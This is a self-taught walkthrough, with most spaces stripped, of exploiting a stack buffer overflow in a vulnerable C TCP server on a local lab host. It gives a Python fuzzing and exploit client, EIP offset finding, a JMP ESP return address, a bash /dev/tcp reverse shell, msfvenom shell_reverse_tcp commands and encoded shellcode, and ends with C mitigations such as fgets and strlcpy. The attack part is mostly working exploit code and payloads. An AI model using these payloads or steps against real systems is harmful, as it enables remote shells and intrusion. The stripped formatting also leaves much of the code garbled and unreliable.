ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

